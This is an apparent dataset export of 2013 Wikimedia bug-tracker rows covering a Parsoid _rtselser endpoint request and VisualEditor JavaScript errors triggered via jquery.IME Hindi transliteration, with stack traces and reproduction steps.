+250709,browsertests: configure Zuul,"CCing Željko Filipin on any continuous bug related to browsertests. Main tracking bug is: bug 53697, see https://bugzilla.wikimedia.org/showdependencytree.cgi?id=53697&hide_resolved=0",,,1379705800,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-3qnp2v5yec7kxc653kc7,task_subcomment,,True,c1,3,True,,,11,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+56339,Add _rtselser end point in web api,"For end users and VE folks the non-selser _rt end point is often confusing, as it shows diffs that are normally avoided by selser. It would be useful to add a _rtselser end-point that serializes to HTML, re-parses that HTML (to catch foster-parenting issues) and then serializes it back with selser enabled.
+
+This will provide us with a quick sanity check for the selser code, and a better link for end users and VE to establish that something has indeed dirtied the DOM.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1379611080,1380131264.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-g5cwud3usjdr2bplpq6x,task_description,resolved,True,c1,3,True,False,True,11,,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0
+247884,Add _rtselser end point in web api,"Change 85990 merged by jenkins-bot:
+Bug 54339: Add _rtselser endpoint in web API
+
+https://gerrit.wikimedia.org/r/85990",,,1380131239,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g5cwud3usjdr2bplpq6x,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+247878,Add _rtselser end point in web api,"Change 85990 had a related patch set uploaded by Marcoil:
+Bug 54339: Add _rtselser endpoint in web API
+
+https://gerrit.wikimedia.org/r/85990",,,1380124213,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g5cwud3usjdr2bplpq6x,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+247873,Add _rtselser end point in web api,"(In reply to comment #2)
+> (In reply to comment #1)
+> > Just for clarity, this will catch any unhandled fostered parenting issues in
+> > Parsoid.
+> Depending on how it's written, it could catch these (or have a mode to detect
+> these), by serializing the DOM out to a string and parsing it back in again.
+
+Yes, that is the intention. 
+
+> With or without this kind of DOM normalization though, mass-testing articles
+> to find selser bugs would be very awesome.
+
+We haven't yet figured out how to do this reliably. We still have same problem that I mentioned on the VE/F page about absence of an oracle to tell us authoritative wikitext to compare against. So, the best we can do is simulate null edits, or modify text, etc. But those are, for the most part, the uninteresting bits of selser testing -- the most interesting bugs show up with more complex edits, and that is the bit that needs to be solved for using it in an automated manner in rt-testing.",,,1379617066,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-g5cwud3usjdr2bplpq6x,task_subcomment,,True,c1,3,True,,,11,,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,1,1,0,0,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1
+247868,Add _rtselser end point in web api,"(In reply to comment #1)
+> Just for clarity, this will catch any unhandled fostered parenting issues in
+> Parsoid.
+Depending on how it's written, it could catch these (or have a mode to detect these), by serializing the DOM out to a string and parsing it back in again.
+
+With or without this kind of DOM normalization though, mass-testing articles to find selser bugs would be very awesome.
+
+> VE-DOM-dirtying will not be caught by this.
+Fortunately, VE does its own detection for this at run time: https://en.wikipedia.org/w/index.php?title=Special:RecentChanges&tagfilter=visualeditor-needcheck",,,1379613552,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-g5cwud3usjdr2bplpq6x,task_subcomment,,True,c1,3,False,,,11,,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+247864,Add _rtselser end point in web api,"Just for clarity, this will catch any unhandled fostered parenting issues in Parsoid. VE-DOM-dirtying will not be caught by this.",,,1379611334,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-g5cwud3usjdr2bplpq6x,task_subcomment,,True,c1,3,True,,,11,,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+56334,"VisualEditor: ""Uncaught TypeError: Cannot call method 'getOffset' of null"" triggered using jquery.IME","Screenshot of Console Error and Blanked Page
+
+This bug was found when testing per the sixth and seventh comment at Bug 53708
+This is very similar to Bug 54331 , however, this one is reproducible.
+
+System Environment:
+Windows7 X64 SP1
+Google Chrome 29.0.1547.66 m
+
+Test Url:
+https://www.mediawiki.org/wiki/Project:Sandbox?veaction=edit
+
+Steps to reproduce:
+Enable ULS IME hi transliteration
+Input the following (below the 'Testing Area' heading):
+agar[SPACE][SPACE][BACKSPACE][BACKSPACE]
+
+What happens:
+Apart from a bunch of buggy behaviour described in the seventh comment at Bug 53708 , the template is entirely removed and the following console error shows up once the second [BACKSPACE] is pressed:
+
+Uncaught TypeError: Cannot call method 'getOffset' of null load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:231
+ve.ce.Document.getNodeAndOffset load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:231
+ve.ce.Surface.showSelection load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:287
+ve.ce.Surface.onChange load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:274
+oo.EventEmitter.emit load.php?debug=false&lang=hi&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…ck%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130919T025548Z&*:139
+ve.dm.Surface.change load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:86
+ve.ce.Surface.handleDelete load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:286
+ve.ce.Surface.onDocumentKeyDown load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:267
+proxy load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:10
+ve.EventSequencer.onEvent load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:19
+(anonymous function) load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:18
+jQuery.event.dispatch load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:45
+elemData.handle.eventHandle load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:38
+
+The file urls are:
+
+https://bits.wikimedia.org/www.mediawiki.org/load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperimental%2Cicons-vector%7Cext.visualEditor.viewPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*
+
+https://bits.wikimedia.org/www.mediawiki.org/load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.triggerQueueCallback%2CloadingSpinner%2CmwEmbedUtil%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11639}",Medium,50.0,1379606220,1453749226.0,PHID-USER-4bjsher5mqcoikeqnnec,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-fkizlik3mtnbtsqbgnqs,task_description,resolved,True,c1,3,False,False,False,11,,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,1
+596664,"VisualEditor: ""Uncaught TypeError: Cannot call method 'getOffset' of null"" triggered using jquery.IME","As of https://gerrit.wikimedia.org/r/#/c/264577/ in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow.",,,1453749185,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fkizlik3mtnbtsqbgnqs,task_subcomment,,True,c1,3,True,,,134,,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+56331,"VisualEditor: ""Uncaught Error: ve.dm.Document.getNodeFromOffset(): offset 804 is out of bounds"" triggered using jquery.IME","This bug was found when testing per the sixth and seventh comment at Bug 53708
+It seems somewhat heisenbuggy and I haven't been able to reproduce it yet. However, I'm sure of the steps which caused it.
+Reporting this so that it's documented in case it is ever seen again.
+
+System Environment:
+Windows7 X64 SP1
+Google Chrome 29.0.1547.66 m
+
+Test Url:
+https://www.mediawiki.org/wiki/Project:Sandbox?veaction=edit
+
+Steps to reproduce:
+Enable ULS IME hindi (hi) transliteration (labelled लिप्यंतरण)
+Input the following:
+agar[SPACE][SPACE][BACKSPACE]
+
+What happens:
+Apart from a bunch of buggy behaviour (described in the seventh comment at Bug 53708 ), the following console error shows up once the [BACKSPACE] is pressed:
+
+Uncaught Error: ve.dm.Document.getNodeFromOffset(): offset 804 is out of bounds load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:106
+ve.dm.Document.getNodeFromOffset load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:106
+ve.dm.Surface.change load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:84
+ve.ce.Surface.onSelectionChange load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:275
+oo.EventEmitter.emit load.php?debug=false&lang=hi&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…ck%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130919T025548Z&*:139
+ve.ce.SurfaceObserver.pollOnceInternal load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:292
+ve.ce.SurfaceObserver.pollOnce load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:291
+ve.ce.SurfaceObserver.timerLoop load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:290
+proxy load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:10
+
+The file urls are:
+
+For the last line:
+https://bits.wikimedia.org/www.mediawiki.org/load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.triggerQueueCallback%2CloadingSpinner%2CmwEmbedUtil%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z
+
+For all other lines:
+https://bits.wikimedia.org/www.mediawiki.org/load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperimental%2Cicons-vector%7Cext.visualEditor.viewPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*
+
+Also, the template's formatting was gone with the input hindi text appearing alongside the template text.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1379605200,1453749257.0,PHID-USER-4bjsher5mqcoikeqnnec,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-f3qthugptx3szx2kr56o,task_description,resolved,True,c1,3,False,False,False,11,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+596666,"VisualEditor: ""Uncaught Error: ve.dm.Document.getNodeFromOffset(): offset 804 is out of bounds"" triggered using jquery.IME","As of https://gerrit.wikimedia.org/r/#/c/264577/ in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow.",,,1453749233,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-f3qthugptx3szx2kr56o,task_subcomment,,True,c1,3,True,,,134,,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+247520,"VisualEditor: ""Uncaught Error: ve.dm.Document.getNodeFromOffset(): offset 804 is out of bounds"" triggered using jquery.IME","After Comment 3, reloading the page by pressing the return key in the address bar gave the following error:
+
+Uncaught RangeError: Maximum call stack size exceeded
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload
+proxy
+ve.init.mw.ViewPageTarget.onBeforeUnload",,,1379611711,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-f3qthugptx3szx2kr56o,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+247518,"VisualEditor: ""Uncaught Error: ve.dm.Document.getNodeFromOffset(): offset 804 is out of bounds"" triggered using jquery.IME","Editable content in Read mode
+
+Further, after everything stated in Comment 1 has happened, if VE editing is canceled and the js prompt about losing unsaved changes is confirmed, the second error still continues. The tab is set to Read instead of Edit, however the content is still editable and the VE toolbar remains visible (although it doesn't seem to work).
+
+**Attached**: {F11633}",,,1379611271,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-f3qthugptx3szx2kr56o,task_subcomment,,True,c1,3,False,,,11,,0,1,0,1,1,1,1,0,1,1,1,1,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+247514,"VisualEditor: ""Uncaught Error: ve.dm.Document.getNodeFromOffset(): offset 804 is out of bounds"" triggered using jquery.IME",Related/similar bug: Bug 51526,,,1379610367,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-f3qthugptx3szx2kr56o,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+247509,"VisualEditor: ""Uncaught Error: ve.dm.Document.getNodeFromOffset(): offset 804 is out of bounds"" triggered using jquery.IME","Screenshot showing original error and changed template formatting
+
+I've been able to reproduce this bug in the same system environment on the same test url with the following steps:
+
+Enable ULS hi transliteration
+Input a[SPACE][BACKSPACE]a
+
+The error as specified above shows up.
+
+Pressing a space after this brings up the following errors:
+
+Error 1:
+
+Uncaught TypeError: Cannot call method 'insertBefore' of null load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:239
+ve.ce.BranchNode.onSplice load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:239
+oo.EventEmitter.emit load.php?debug=false&lang=hi&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…ck%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130919T025548Z&*:139
+ve.dm.BranchNode.splice load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:44
+(anonymous function) load.php?debug=false&lang=hi&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…back%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130919T025548Z&*:3
+ve.dm.Document.rebuildNodes load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:107
+ve.dm.DocumentSynchronizer.synchronizers.rebuild load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:117
+ve.dm.DocumentSynchronizer.synchronize load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:119
+ve.dm.TransactionProcessor.process load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:59
+ve.dm.Document.commit load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:104
+ve.dm.Surface.change load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:84
+ve.ce.Surface.handleInsertion load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:282
+ve.ce.Surface.onDocumentKeyPress load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:268
+proxy load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:10
+ve.EventSequencer.onEvent load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:19
+(anonymous function) load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:18
+jQuery.event.dispatch load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:45
+elemData.handle.eventHandle load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:38
+6
+
+Error 2:
+Uncaught Error: offset 805 out of bounds load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:150
+ve.dm.ElementLinearData.getAnnotationIndexesFromOffset load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:150
+ve.dm.ElementLinearData.getAnnotationsFromOffset load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:150
+ve.ce.Surface.onContentChange load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:277
